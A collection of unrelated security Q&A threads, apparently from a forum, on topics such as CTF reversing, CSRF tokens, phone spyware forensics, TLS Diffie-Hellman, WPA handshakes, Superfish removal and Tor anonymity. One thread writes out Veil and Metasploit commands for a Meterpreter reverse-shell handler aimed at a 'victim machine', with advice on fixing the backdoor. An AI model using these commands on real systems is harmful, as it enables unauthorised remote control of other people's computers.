How to brute force a Java Applet in browser? I am solving a CTF challenge and it is multi-layered: https://net-force.nl/challenge/level314/

(Modern browsers don't support Java Applets anymore and I had to download Opera browser 9.x to run the Applet properly.)

I realize that I need to brute force the Java Applet to find the right combination of settings.

What I tried:

I noticed the Applet on the page and used wget to download it and
jd-gui to reverse it. Noticed some other classes that it pulls from
and downloaded them too. But I don't see how I can re-create the app
in my local system such that I can brute force it.
Used Wireshark to capture the packets going to the web page in
order to manipulate the request and re-send queries that brute force
settings. However, the webpage is HTTPS (end-to-end encryption) and
so I can't really read the communication after I "follow the TCP
stream" on the browser.
Downloaded the Java class files and tried to recreate the machine on my local system but it is complicated and I couldn't get it working.
Used Burp Suite proxy to capture the requests going to the webpage. No luck there. Once the Java applet is loaded, playing around with the settings does not generate new requests in my Burp proxy. So nothing to capture and manipulate. I am guessing this is because the Applet is loaded on my client and no HTTP requests are being sent to the server when I am playing with the Java Applet.

My question:

How can I brute force the rotor machine in the Java Applet? In other words, how do I send different data to the machine and observe output in an automated fashion?

You are on the right path by downloading the applet manually and decompiling it, that's how I would approach it as well. You might just need more understanding of the code in order to reverse how it's downloading extra classes on the fly. Note that you don't need to run the app to understand how it works - the challenge is to retrieve so-called "rotor settings" which should be fairly easy to figure out from the decompiled classes.

You can also use a tool such as Charles Proxy to get around the HTTPS issue - Charles will give you a root certificate you need to install in the browser's trust store (and possibly in Java's trust store - on my Mac for example the Java preference pane has its own trust store), the tool will then intercept HTTPS and present valid server certificates signed by that root cert to the Java application. However I would be really surprised if this particular app is actually calling out any external service beyond its initial loading.

Worst case scenario, you could always just use the applet normally and use some automation tools like AutoIt to interact with it.

Good luck!


Why is the synchronizer token pattern preferred over the origin header check to prevent CSRF I am well aware of the concept of CSRF, and I think I am also aware of the possible protection possibilities, as described by OWASP. However, I'm not sure why the synchronizer pattern seems to be preferred, if we could just as easily check the origin header of the request. The latter could be done server-wide, which would make it much easier to implement than the synchronizer token pattern. The only downside to me is that no POSTs from a different domain could be made then, but even then we could foresee some white-list filter.

What are other reasons to prefer the synchronizer token pattern over the origin header check?

Simply put

The Origin header is not sent for same-origin requests by all browsers.
Current bugs in popular browsers mean that the Origin header is not sent for POST requests, which makes this approach less-than-useless since state changing requests should always use POST above GET.

This would make for complex logic when implementing CSRF protection.

That is:

Lack of Origin header = Old browser/bug OR
Lack of Origin header = Same Origin
Origin header matches domain = Same Origin
Origin header does not match = CSRF attack

As you can see, it is not possible to distinguish between old or buggy browsers possibly making CSRF attacks and legitimate current browser requests. You could add browser detection, but then the logic gets more messy. Complexity tends to reduce security.

This of course, could be patched in a browser update. However, then your application would be incompatible with older versions of the browser.

Much simpler would be to generate a token and send that with each request outside of the cookie mechanism.


How do I forensically determine whether a mobile phone has been infected with a spy suite? What is the best way of forensically determining that spyware software has been installed on the phones without making any changes to the phone(s)?

I have Blackberry and iPhone 4 phones that are suspected of having spysuite software (CellSpyNow) installed on them.  It is suspected that a former employee has installed the software on company owned phones when the phones had been left unattended.

Through other work, we have evidence that CellSpyNow web front end has been used by the individual and there are other suspicions that SMS's have been intercepted and acted upon.

Software like this is designed to provide the attacker with SMS's, call data, camera pictures and so on that is usually uploaded to a central website that is accessible by the attacker using a username/password.

If I were in your position, I would grab complete image(s) of the individual mobile device(s) to forensically analyze the images using another, independent system because…

You do not have to install anything on the related mobile devices as you can analyze the device image(s) on your other system with any tool you like/want/need.
You can modify (in the sense of “cleaning up suspicious and/or malicious data”) the image as needed and push the checked and cleaned image(s) back to the individual mobile device(s).
You have image(s) of the mobile device(s) which can act — if needed — as forensic proof and legal evidence.

If you do not know how to create and analyze such device images but are almost sure that the devices are indeed compromised, it's time to get professional help from an information security specialist… your best choice will be an forensic analyst in this case.

Additionally, since you are describing a situation that could involve a commercial environment (work/company), you should also reach out for legal advise in case you actually manage to identify the person(s) who have compromised your devices.

As you might know, governmental institutions and agencies (including “ye regular police”) have access to specialists like forensic analysts. Most probably, they are your best choice when it comes to "securing proof" and "defending your rights" (in a legal sense).

The above approach has a high potential to close the loop of your security problem without too much impact, while providing you with a good stand when legal consequences start gaining importance to you.

EDIT

The following information will be of use to you:

SANS: An Incident Handling Process for Small and Medium
Businesses (PDF)
SANS: FORENSICS PLAN GUIDE (PDF)

Whatever you do, do not destroy or modify digital evidence. That's why I am advising a forensic analyst instead of doing research and analysis yourself. And let's be honest — if you were trained in digital forensics, you wouldn't have asked the question in the first place. Instead, you would have applied the 6 Phases of Incident Management…

Preparation
Identification
Containment
Eradication
Recovery
Training

… using the appropriate proceedings and tools.

EDIT

Due to the comment(s) talking about iPhone and iPad imaging, I would like to note that when I talk about imaging for forensics purposes, I am talking about "professional digital forensics software" that fits the individual needs and purposes of the analyst.

This is a list of currently available tools which I would use (depending on the situation and needs) for iPhone/iPad:

Black Bag Technology Mobilyze
Cellebrite UFED
EnCase Neutrino
FTS iXAM
iPhone Analyzer
iphone-dataprotection
~ A set of tools that can image and decrypt an iPhone. The tools can even brute-force the iPhone's 4-digit numerical password.
iOS Forensic Research (Available to law enforcement only!)
~ Among many things, Jonathan Zdziarski has released tools that will image iPhones, iPads and iPod Touch.
Katana Forensics Lantern
libimobiledevice
~ A library with utilities for backing up iPhones. The output format is an iTunes-style backup that can be examined with traditional tools. They are available in the Debian-testing packages libimobiledevice and libimobiledevice-utils.
Logicube CellDEK
MacLock Pick
Micro Systemation .XRY
Mobile Sync Browser
Nuix Desktop and Proof Finder
~  Tools that can detect and analyse many databases from iOS and iPhones and can directly ingest HFSX dd images.
Oxygen Forensic Suite 2010
Paraben Device Seizure
SpyPhone

I'll spare you listing the appropriate tools for Android, Blackberry and other mobile devices, which each have their own set of forensics tools. I'm convinced you don't really need a list of tools, since any forensics specialist knows them. If you don't, you're not a digital forensics professional… yet.

Now, if you want to dive in a bit deeper into digital forensics, you should take a look at

http://www.forensicswiki.org/wiki/Main_Page

which provides some pretty good heads-up information for people who aren't educated in the field.

Also, you should read some books on the subject like "iPhone and iOS Forensics".

If you're still interested in digital forensics after reading a dozen of books and getting your hands dirty by trying it on your own devices, I would like to advise you to reach out for an according digital forensics education. It's an interesting field and you can trust me when I say: "it never gets boring."


Where I am going wrong with Veil? Cannot get a reverse shell? This is how I am generating the payload in Veil 3

> use XX
> set LHOST X.X.X.X
> set LPORT 3333
> generate

The payload generates successfully and transferred to victim machine Win7 SP1 VM running no antivirus of any sort.
While on metasploit end

> msfconsole
> use exploit/multi/handler
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST X.X.X.X
> set LPORT 3333
> set ExitOnSession false
> exploit

X.X.X.X is a public IP.
While running this I get stuck to following and nothing happens

[*] Started reverse TCP handler on X.X.X.X:3333

Where am I going wrong. What could be the issue here. I have allowed port 3333 in ufw and no other services are listening to that port.
Also after running the payload on victim machine and doing netstat gives me no instance of port 3333 communicating to X.X.X.X.

I've had this problem before, and my issue was that the veil payload was a 32bit version of the generated backdoor. I had to use the x64 version of the backdoor. If you don't have the 64 bit version of the payload, you'll need to update your veil and try again.


Do you require a special type of certificate for using Diffie Hellman as the key exchange protocol in SSL? In Diffie Hellman key exchange technique both the parties agree on a common parameter g then they generate their private parameters a and b . Then they exchange g^a and g^b. now they can calculate the common secret key g^ab.
But my question is how do they agree on the parameter g. Is it specified in the certificate? If yes does it require a special type of certificate and what information is there in this type of certificate?

You don't need a special certificate for Ephemeral Diffie-Hellman key exchange, but you need the Server Key Exchange message. You need a special certificate for fixed DH. As the TLS specification says:

In Section 7.4.3:

  The server key exchange message is sent by the server only when
  the server certificate message (if sent) does not contain enough
  data to allow the client to exchange a premaster secret.  This is
  true for the following key exchange methods:

       DHE_DSS
       DHE_RSA
       DH_anon

  It is not legal to send the server key exchange message for the
  following key exchange methods:

       RSA
       DH_DSS
       DH_RSA

  Meaning of this message:

  This message conveys cryptographic information to allow the client
  to communicate the premaster secret: either an RSA public key with
  which to encrypt the premaster secret, or a Diffie-Hellman public
  key with which the client can complete a key exchange (with the
  result being the premaster secret).

In Appendix A.5 (about non-ephemeral DH cipher suites):

  The following CipherSuite definitions are used for server-
  authenticated (and optionally client-authenticated) Diffie-Hellman. DH
  denotes cipher suites in which the server's certificate contains the
  Diffie-Hellman parameters signed by the certificate authority (CA).
  [...]

In Appendix F.1.1.3:

  When Diffie-Hellman key exchange is used, the server can either supply
  a certificate containing fixed Diffie-Hellman parameters or use the
  server key exchange message to send a set of temporary Diffie-Hellman
  parameters signed with a DSS or RSA certificate. Temporary parameters
  are hashed with the hello.random values before signing to ensure that
  attackers do not replay old parameters.  In either case, the client
  can verify the certificate or signature to ensure that the parameters
  belong to the server.

Note that certificates with DH parameters are rather rare anyway.

Stephen Henson (from OpenSSL) said the following (admittedly a long time ago):

  I've asked all over the place and I've yet to see a single example of
  a DH certificate. From this I can conclude they aren't very common.

Nelson Bolyard (from Mozilla NSS) said the following more recently:

  [...] I ask because I don't know of ANY public CA that issues such
  certs today.  The last CA I knew of that did was the US DoD's CA that
  issued certificates for Fortezza cards.

I suspect there is little demand for these certificates. It would require more work from the CAs, it's just as easy to use EDH nowadays, and the cipher suites that can use them are not widely supported. The latest Java 7 list of supported cipher suites doesn't list any DH_RSA or DH_DSS cipher suites (only DH_anon and EDH).


4-dial combination padlock: Is it more secure to zero it out or to blindly spin the dials after locking? I am partially responsible for some resources protected by a 4-dial combination lock like this one:

There are two things that people will usually do after they've locked it:

reset all the digits to 0, so that the combination reads 0000, or
mash around on the dials a bit so that the combination reads something else.

I have a strong feeling that there is no functional difference between the two, but I am encouraged to set a best practice. So, assuming that the lock has a random combination and is practically unbreakable without entering the correct combination, which approach is more secure?

I would recommend setting it to 0000 or some other specified combination (doesn't really matter what).

"Mashing around the dials" is a little vague, but I would guess based on my own behavior that people would tend to move most or all of the dials at once, which would create a strong correlation between the current combination and the lock combination. For instance, if the lock combination is 1234, someone might change it to 5678 (probably not exactly, but close enough that an attacker could prioritize the combinations they try).

Humans also have a tendency to think some things seem more secure when they actually weaken security. Someone may try to set it to a combination that seems "further" from the lock combination, such as changing 1234 to 6578 instead of 2142 because 2142 is too "close" to the lock combination. This could allow an attacker to prioritize the order they attempt combinations. Specifying a constant value to set it to avoids such issues.


How Wifi prevent hacking in the same network? We all know that the client device and WiFi AP will perform the 4 way handshake to generate the session key (PTK). Here is the recap of the 4 way handshake.
1.Client device<-----ANonce-----WiFi AP
2.Client device------SNonce---->WiFi AP
3.Client device<--Install PTK---WiFi AP
4.Client device--------OK------->WiFi AP
I understand why Anonce and Snonce has to share to each other, they need to create a Initialization vector to increase the randomization of the PTK. PTK is actually the session key.
PTK=PRF (PMK + Anonce + SNonce + Mac (AA)+ Mac (SA))
My problem is that all those components here can be sniffed by another client device in the same network who share the same PMK(pre-shared key).
Mac address of AP is no secret, mac address of another device in the same network can be sniffed too.
Anonce and Snonce can be captured, the only problem is to distinguish it is nonce, but anyway it can be done.
PMK is shared to all the member.
so all the member in the same network(in the same network means using the same PMK)can calculate the PTK, even PTK is not transmitted in the air.
We all know wpa-psk is vulnerable but it should not be that vulnerable. Even no need to do brutte force!!!!!!
I believe i must miss some concept. Hoped someone can help

Security for WPA PSK effectively revolves around the secrecy of the key. Anybody who has the key is allowed to connect to the network, and can also decrypt the traffic in the correct circumstances. As long as the key is strong and not shared with the entire world, it is considered reasonably secure for many use cases.
Even if you couldn't decrypt the wireless traffic passively, being able to connect to the network is even more beneficial for an attacker, since a variety of attacks can be launched from there to accomplish the same and more (albeit more noisily). So it could be said that passive decryption with knowledge of the PSK is not a vulnerability since you already have the keys to the kingdom at that point.
If this issue is unacceptable for your threat model, you can use WPA2/WPA3 enterprise instead, which removes the issue of shared keys entirely.


Will the shell shock Vulnerability extend to Cisco network equipment? As Cisco uses bash (and web interfaces if you haven't disable it) is it susceptible to the shell shock vulnerability?

Cisco will need to confirm if they are vulnerable. I expect they are not since the lack of cgi scripting exposed through the web instance for CSM/ASDM. In the meantime you can mitigate a lot of risk by restricting http/https enable to specific hosts in your network.


What security implications are involved when using a CSV file to fill a SQL table? I have some data on CSV files and I want automate the input of this data into an SQL database using Powershell. The data is mostly, if not completely, numbers.

I am using a script based on the one found here:
SIMPLE POWERSHELL SCRIPT TO BULK LOAD CSV INTO A SQL SERVER TABLE.

What sort of security concerns would I have to address if using this? I don't know much about how SQL injection works, but would I need to be concerned about it in this case?

SQL injection is the "injection" of an SQL query/command with the intention of execution. A good summary and reference is available from OWASP.

In this case, the risk would be that the CSV file includes commands which would, upon being loaded into the SQL database, be executed rather than simply inserted into a table.

You could approach resolving this problem from either the position of the sender or receiver. Approaching this from the sender side - that is, manipulating the input data - only makes sense if you are in control of the data and are concerned about malformed input rather than malicious attacks. Mitigating SQLi at the database side is the correct and far more secure way to do this, however in some situations it can be more effort.

On the sender side, you may choose to parse inputs before they are sent to ensure they only contain the intended data - perhaps only alphanumeric characters. This would generally make sense for something like a webpage form, where malformed input would prompt the user to do something like "Input a valid email address" which serves to both correct user input for accuracy as well as manage what sort of input is sent to the database. In your case, this may be simplest (though not necessarily best) solution if you know what the input CSV should look like and contain in all cases.

The generally better and more versatile solution involves handling this from the position of the data receiver, the SQL server itself. This means performing the same or similar validation as above, but instead as the SQL server receives and saves input. In the case of an SQL injection attempt, this should hopefully catch what looks like a query or malformed input and either discard it or treat it simply as text input - but most importantly, not execute it as a command.

The ways to validate input depend on what your input looks like and what you'd like to do with it in your own situation. OWASP also provides an excellent guide on this which I suggest you review.

It may be additionally useful to look at what SQL queries/injection attempts look like so you can see what sort of special characters and commands you will need to be able to handle if they may be a part of your input dataset.


Could the VPS host have access through WinSCP to the connecting computer's files? I've been using someone else's VPS and connecting from my computer. I've been connecting via WinSCP and the server is hosted on OVH. Is it possible for the VPS host to have access or view the files on the connecting computer?
If it is possible, what do I do to delete the files, or protect them?

WinSCP's connection is one-way. You do not automatically open up the connecting computer to the connected computer.
If there was a very specific vulnerability in WinSCP, then it could be possible that this access could be granted, but then the connected computer would have to know about this vulnerability and purposely exploit it.


good product to physical lock down a mac mini server? Since the recent theft of a mac mini and macbook pro Im looking into products to lock down the mac mini server 2011 model. There are many cable solutions out there like kensington but the mac mini has no hole for that.

So my question is are there good products out there to lockdown a mac mini 2011 model?

I have found:

http://www.sonnettech.com/product/maccuffmini.html
http://www.tryten.com/products/Mac-Mini-Security-Mount.html

Does anyone have experience with these? Or advice in terms of locking down a mac mini?
With the above mount plates I think you have to screw them to your desk or with special superglue them to the bottom of your desk. Of course its not 100% proof but In the hope it will slowdown enough so they leave it as is ( too much hassle )

This depends on your requirements. Do you want to discourage people from stealing the mac mini, do you want it to be impractical to steal it, do you want it to be impossible to steal it?

For instance, if it were enough for your scenario to scare off a thief by having to spend two minutes with a screwdriver in plain sight, a decently built basic mount to the desk is more than fine. But if your thief would not be scared to run in with a chainsaw cut the desk into bits and take the piece of desk that has your mac mini, you might need better means to secure it.

Some questions you can ask yourself to find if a mount will meet your requirements:

How scrutinized is the device when an attempted theft would take place?
Does the thief have a great incentive to steal it? (Such as launch-codes for a nuclear missile being on them or the device being a one of a kind gold plated version). What is the time-frame in which the thief would have to steal it?

If the thief does not have a bigger incentive than to sell it on eBay and would have to steal it in under 2 minutes and would be scrutinized when doing so, I think a desk mount will do.


Proxy Firewalls, Content Inspection, Application Layer Firewalls & Web Application Firewalls All of the material I'm reading on Proxy Firewalls, Content Inspection, Application Layer Firewalls & Web Application Firewalls indicates that they are inherently unique devices / applications.  But the descriptions for each are so similar that it seems like there should be a broader relationship.  I understand what each one does on it's own, but the line between them is really blurry.

For instance, doesn't a proxy firewall, which reads application layer data, inherently provide content inspection?  Wouldn't that be the exact description of an application layer firewall?

Can anyone provide some real-world examples of when / why to implement each one of these devices vs any of the others?

A web proxy is the part of an Application Layer Firewall which does Content Inspection for connections from client (i.e. browser) to the web server. It resides on the side of the client and its task is to protect the client against malware etc. A Web Application Firewall (WAF) is a different part of an Application Layer Firewall which also does Content Inspection but sits in front of the server. Its task is to protect the server against application layer attacks like SQL injection. In a way a WAF is also a proxy, but a reverse proxy. Some Application Layer Firewalls provide both web proxy and WAF, others only one. This depends on what the firewall is used for.

Apart from these basics there are other kinds of proxies for different protocols (i.e. mail, ftp...) which can also be part of an Application Layer Firewall.
The quality and depth of content inspection between various products differs a lot but all of them provide at least a basic parsing of the application protocol.


How to detect if I am vulnerable to "Superfish," and how to remove it? The site has already a discussion of the security risks of "Superfish". It seems to me that anything that tampers with the bits of one's connection is bad. If it tampers with TLS connections, it is evil.

How can I determine if I am vulnerable to Superfish?

Lenovo has issued a statement on Superfish (after they got caught red-handed) saying it has been "disabled."

As I can no longer trust Lenovo, is there a way to remove it completely other than format c:?

Edit: the Lenovo statement linked above now has a list of model numbers on which Superfish may have been installed.  Um, but it says "appeared" rather than "installed," rather like it sneaked on those computers in the middle of the night.

You can check to see if you're machine is vulnerable by browsing to this site: https://badssl.com/dashboard/

Everyone keeps saying that you need to completely reinstall a clean version of Windows.  I would first try to remove Superfish first.  To remove the executable you should be able to use the normal Windows Add/Remove programs method.  I believe the executable is called Visual Discovery.

To remove the certificate follow these steps from StackOverflow:

  FYI, this Superfish software is now a major news headline:
  http://arstechnica.com/security/2015/02/lenovo-pcs-ship-with-man-in-the-middle-adware-that-breaks-https-connections/

  It is preloaded by Lenovo (there may be other vendors). You have to
  uninstall it, but that will not remove the certificate. To remove the
  certificate, you must do the following:

  Run mmc.exe
  Go to File -> Add/Remove Snap-in
  Pick Certificates, click Add
  Pick Computer Account, click Next
  Pick Local Computer, click Finish
  Click OK
  Look under Trusted Root Certification Authorities -> Certificates.
  Find the one issued to Superfish and delete it.

  If you are really paranoid, the best solution would be to reformat
  your laptop and install Windows with Microsoft media, not the factory
  recovery stuff.

While the above removes it from the Microsoft Trusted Store, this link indicates that the root certificate might be injected into browser trusted stores.  Check that your browser also does not trust the Superfish Inc certificate.  Chrome and IE both use the operating system's trusted root store.  If you're using FireFox you need to manually remove it.

Remove Trusted CA from FireFox Trusted Store

Click the menu button, then choose Preferences
Click the Advanced in the upper tab menu
Then click Certificates in the lower tab menu.
Click View Certificates
Under the Authorities tab check for the Superfish Inc certificate
If it's found, then click on the certificate and then click Delete or Distrust
Finally click the Ok button to confirm that you're removing it.


Why hasn't anyone taken over Tor yet? Tor is known to encrypt the transferred content and the meta information by layering the encryption.

I know there have been correlation attacks that deanonymized some users by federal agencies.

Why do they not take over the system?

There are ~7000 Relays, which seems quite few.

If they provide 14,000 further relays they would be able to decrypt a great deal of information and reveal the identities of users and hidden services.

So why don't they?

They might do it already, there is a known technique to dedicate malicious and powerful nodes to the network to be able to take control of some of the traffic.
Tor does not advertise itself to be able to protect against adversaries that have control over a fair part of the internet. While there are techniques to check the validity of the nodes if you have control over the internet(a fair part of the network) you can de-anonymize nodes.
Under Tor's website, the FAQ page :
What attacks remain against onion routing?

it is possible for an observer who can view both you and either the destination website or your Tor exit node to correlate timings of your traffic as it enters the Tor network and also as it exits. Tor does not defend against such a threat model.
In a more limited sense, note that if a censor or law enforcement agency has the ability to obtain specific observation of parts of the network, it is possible for them to verify a suspicion that you talk regularly to your friend by observing traffic at both ends and correlating the timing of only that traffic. Again, this is only useful to verify that parties already suspected of communicating with one another are doing so. In most countries, the suspicion required to obtain a warrant already carries more weight than timing correlation would provide.
Furthermore, since Tor reuses circuits for multiple TCP connections, it is possible to associate non anonymous and anonymous traffic at a given exit node, so be careful about what applications you run concurrently over Tor. Perhaps even run separate Tor clients for these applications.

About Tor network takedown:
They may not have enough incentives to block the whole system. After all it's a highly decentralized, international network of nodes. If you shut down a node, another one will pop up so it's not trivial to take the whole thing down.
There are also obfuscation techniques Tor uses to hide itself from ISPs and censorship systems. They can't flip a switch and then Tor is down.
About adding malicious nodes to decrypt the traffic, it's not trivial either. You don't need any relay node, you need an exit node to get access to unencrypted traffic (Another layer of encryption may still be present, e.g. HTTPS). Tor also monitors exit nodes for malicious activity and actively blocks them. I'm not saying your provided scenario is not possible, I'm just saying it's not trivial.


Physical protection of your servers? Here is a scenario.

You are a small startup company that makes a video game. In your video game, you can exchange money for items. You are not dealing with the credit card/debit card directly but instead outsource it to third party service.

Still, even if you are not dealing with the credit card/debit card directly, your database might contains thousands/millions of dollars in item from the game.

How do you protect that information?

My question is more related to the physical protection of your servers. For example, stopping someone from walking into your server room and tinkering with your data. Is it better to manage those servers yourself or use one of the popular cloud hosting solution? When using a cloud solution, you might wonder if the administrators are playing with your data.

Note : I know that big companies prefer to have their own dedicated servers in their own server room with security guards on watch 24/7 but it is probably not in the budget of that small company.

Ensuring good physical protection of your equipment is easy.  Well, not "easy", but straightforward.  Put the servers in a facility with a secure perimeter, multi-factor access control, security guards, intrusion-detection alarms, a whole bunch of security cameras that are constantly monitored, etc.  But as you pointed out, the rub is whether you can actually afford to put those measures in place.

If you're a company that doesn't have the resources to do things like that (and, really, few companies do) and you are strongly concerned about physical security, going with a hosted or cloud solution from one of the big guys is (to me) definitely the answer. And, for myself, I would take some comfort in thinking about the huge number of big, big name tech companies--who could even afford to build high-security datacenters themselves, actually, if they wanted to--who go with that route.  Heck, even the CIA is letting some (unclassified) stuff be managed  by one of the big cloud providers.

That said, I certainly understand the impulse behind wanting to have your stuff hosted on your equipment that you directly operate in your facility.  And, if physical security is important but not ultra-important, there are certainly plenty of access-control devices, security/alarm systems, etc. that can help make a small server space moderately secure at costs that are fairly affordable.

But even you're in the "moderate security is enough" category, you're still going to have to make the larger decision about starting to build your game on equipment you buy & manage vs. turning to the cloud. That's a more complicated decision that's going to involve many significant factors. Having physical security managed by someone else would certainly be one of them, though. (In favor of the self-service side or the cloud side you'll have to determine.)


Can a compromised mobile phone be used to penetrate a desktop or server? Can a compromised mobile phone be used to penetrate a desktop or server, such as when you plug the phone into the server or desktop for plug and play?

I don't know what protocol the transfer is there.  Can a malicious program automatically transfer once the plug and play is going?

I'm new to this stuff, but I would be worried about them being able to monitor network traffic based on that scenario. I don't know if that is a founded worry though, which is why I'm asking here.

Yes

When you plug into USB, you can do a lot. The link above is about using your phone as a USB keyboard, which means you can run commands, download and execute software, etc.


How to tell if someone else's site is vulnerable to Shellshock without hacking them? Registration card in hand, I went to register a newly purchased power tool yesterday. But when I arrived at the manufacturer's site, I was greeted by an ancient homegrown interface that was marked "Copyright (C) 2004" and looked like HTML 1.0.  Attempting to connect via https yielded an invalid TLS certificate and no access to the page.  The redirected registration URL looked very much like "http://apache.somecompany.com/cgi-bin/registration.htm"  Everything stank of unpatched vulnerabilities, but the site admin replied to my query and assured me that their Oracle warranty registration system was secure.  (Never mind that an Oracle machine probably wouldn't be named "apache".)

I decided owning an unregistered gasoline powered tool with giant spinning blades was safer than entrusting them with my name and address.  I'm not even sending them the post-paid card in the snail mail, because I don't see any evidence of security at their end.

But what I really want to know is if there is a way for me to evaluate their site without really attacking them, or if there is someone offering a "Shellshock testing service", or a site or other trustable body that would let me know if they're patched to current levels or not.

With Heartbleed, a definitive scan is possible: ask for a heartbeat response that's one byte too large, and see if you get it; a negative result means that the server is not vulnerable.  This tests the OpenSSL library directly, and performs exactly the same operations that an attacker would perform.

This isn't possible with "shellshock": the bash shell is never exposed directly to the Internet.  Any scanning is indirect, calling a CGI program and seeing if the attack payload gets run, so a scan that returns a negative result could be because the server has been patched (not vulnerable), or because it uses a different system shell (maybe not vulnerable), or because none of the CGI programs calls bash (not vulnerable right now), or because the scan didn't try the right CGI program (vulnerable, but you don't know it).


Website Link Spam Hacking Protection I've recently been employed as a junior web and software developer for a small company, and noticed that their Home page has had links to completely unrelated sites added like spam to the index.html which have been hidden (display:none) with JavaScript.

I wanted to know how this was preventable in future, or how it was even possible. I will be changing the FTP access login and password, and getting the host to change their admin passwords, but I also have a PHP contact-us form in one of the pages which I feel may possibly be exploitable.

Do I need to get the host to change their PHP permissions, and if so, what to? Do I need to add anything to the PHP code that may help prevent this kind of thing? Are there any other security implications I need to know.

Browsing the web for these details has been rather unsuccessful. Thank you all in advanced for any help you can offer me.

If someone outwith your company has modified the content of your site, it seems likely that it has been compromised.

If that's the case then you really cant trust anything on that server any more as it may have had malicious software (e.g. a rootkit or similar) loaded on to it.

I'd recommend that you get a backup from before the site was compromised and then wipe the server and start again with fully patched software.  Also depending on what sort of content your site has it could be that the attacker compromised the application itself so I'd review the site for things like SQL injection.

If you search this set for other questions about servers being hacked and how to respond that should provide you with more info.


How can Linux service installation page create an attack surface? Based on one of the lectures of Planning, Auditing and Maintaining Enterprise system course  by Greg Williams (Department of computer science university of Colorado):

  Let's say they were installing a service on a Linux system and we forget to take down the installation page. That installation page has a lot of sensitive information on it. so, if we leave that page up and don't delete it out of the directory after installation, that's a way for an attacker to get in.

How It becomes possible?

"that's a way" requires an antecedent, and it is very vague.

The page being up? No, that doesn't offer a way in. It's static.

The information on the page? If the info helps someone to craft a way in, sure, but then the information isn't the way in, it's merely a resource.

I think this is simply a case of someone not being careful when speaking.


Security of decompression tools How safe is it to decompress untrusted files with unrar-free?  With unzip?    I'm using debian jessie. What steps can be taken to minimize the threat while extracting the file's contents?

How safe is it to decompress untrusted files

Just looking at the CVE's for unzip you will find several possible code executions, modifying the permissions of existing files, overwriting arbitrary files outside the current directory....

The CVE list for unrar is shorter but includes also code execution.

  What steps can be taken to minimize the threat while extracting the file's contents?

Any kind of privilege separation and sandboxing, i.e. virtual machines, chroot environment or containers, ...  And of course have the latest patches.

There is actually nothing special about unzip and unrar - you should take the same care with any kind of potentially malicious files (which includes at least everything with suspicious origin).


using booby-trapped video to find IP address According to this article, the FBI was able to create a "booby-trapped video", which when played, exposed the real IP address of the computer, even though the video itself was downloaded anonymously using tor.

I am wondering where in this chain of events the "booby-trapp" was executed. Did they exploit an "arbitrary code execution" bug in some video player? If so, how did they know which player will be used ?

Or did they exploit the browser?

Anybody has more details about this ?

The video they sent would have been DRM Protected, DRM is a licensing technology that attempts to prevent unauthorised distribution and restrictive use of a media file. It works by encrypting the video and audio streams with an encryption key and requesting a license (decryption key) from a network server when the file is accessed. As it requires network connectivity it can cause users to make network requests without consent when opening a media file such as a video file or audio file.

When the suspect attempted to play the video his device would have pinged the 'Licensing Sever' (to request the decryption key) which is controlled by the FBI, giving them an IP Address which led to his Identity being revealed.


BitMessage : Key authentication? Does BitMessage provide key authentication? If so, then how? How would one can be sure that the public key belongs to the right person?

From Wikipedia:

  Outgoing messages contain no explicit address of the recipient of the message. Therefore, every network participant tries to decrypt every message passing through the network even if the message was not originally intended for that network participant. Since only the actual recipient can successfully decrypt the messages intended for him, all network participants know that if they fail to decrypt the message then the message was not intended for them.

From Jonathan Warren's original paper:

  We propose a system where users exchange a hash of a public key that also functions as the user’s address. If the public key can be obtained by the underlying protocol, then it can easily be hashed to verify that it belongs to the intended recipient... an example address would be: BM‐2nTX1KchxgnmHvy9ntCN9r7sgKTraxczzyE.

It appears that a user's public key (or, a hash of their public key) is their messaging address. Thus, there is nothing to verify: when you send a message to user with public key P, you don't need to verify that your recipient's public key is really P, because you have identified your recipient solely by his public key.

As for how to tell if a public key belongs to a particular real-world entity: you can't, just as you can't easily verify that a particular email address belongs to a particular real-world entity.

For example, you want to send Alice a message. Alice advertises her Bitmessage address (e.g., on her business cards, on her public website, etc.) as BM‐2nTX1KchxgnmHvy9ntCN9r7sgKTraxczzyE. You make a P2P Bitmessage request to get the public key associated with BM‐2nTX1KchxgnmHvy9ntCN9r7sgKTraxczzyE. When you have fetched the key, you quickly verify that its fingerprint matches the one in Alice's address. then, you use the Bitmessage system to encrypt your message so it is readable only by Alice's private key.

But how did you know that BM‐2nTX1KchxgnmHvy9ntCN9r7sgKTraxczzyE is really Alice's address? Maybe someone printed out fake business cards, or hijacked Alice's website to change her address. Maybe so, but if they did, that's not a problem that Bitmessage is designed to solve.

In fact, the lack of connection between an address and a real-world entity seems to be branded as a feature:

  Hiding one’s identity is difficult. Even if throw-away email addresses are used, users must connect to an email server to send and retrieve messages, revealing their IP address...

And when talking about broadcast messages (emphasis mine):

  This would allow an individual or organization to anonymously publish content using an authenticated identity to everyone who wishes to listen.

The primary use for BitMessage (as presented in the paper, anyway) seems to be the ability to sent messages that are from a cryptographically verified source, but that source is free to avoid identifying themselves in any real-world way.

I think that something like PGP's web of trust could be implemented on top of BitMessage to provide identity verification: such authentication is not incompatible with BitMessage, but it seems to be a service that would exists independent of BitMessage (i.e., step 1: verify that BM‐2nTX1Kc... really is Alice's address; step 2: send a message to BM‐2nTX1Kc... using BitMessage).


Is there a difference between "DHE_PSK" and "PSK_DHE"? While studying the list of available TLS cipher suites, I noticed the following two:

TLS_DHE_PSK_WITH_AES_128_CCM
TLS_PSK_DHE_WITH_AES_128_CCM_8

They are defined in RFC 6655, Section 4.

Is there any reason why the "DHE" and "PSK" parts are switched around? Does this only have legacy/compatibility reasons or are there actual technical differences?

It's a mistake. See Errata 3987 for this RFC:

  Section 4 says:

         CipherSuite TLS_PSK_DHE_WITH_AES_128_CCM_8 = {0xC0,0xAA}
         CipherSuite TLS_PSK_DHE_WITH_AES_256_CCM_8 = {0xC0,0xAB}

  It should say:

         CipherSuite TLS_DHE_PSK_WITH_AES_128_CCM_8 = {0xC0,0xAA}
         CipherSuite TLS_DHE_PSK_WITH_AES_256_CCM_8 = {0xC0,0xAB}


Anonymity through Tor over VPN I want to do some research on network anonymity.

Assume that I am careful enough not to disclose any personal information while connected to an anonymous network.

If I run a system that uses TOR over a VPN that I paid for with bitcoins (free vpns are very slow) and also use TOR browser to avoid scripts and use a masked MAC address and hostname, where am I exposed? What can anyone do to find my system's real data?

Network Anonymity is largely how much you perceive yourself to be anonymous. While using a VPN and a layered-browsing method might seem to make you incredibly anonymous, ultimately your connectivity is passing through uncontrolled territory and could be monitored.

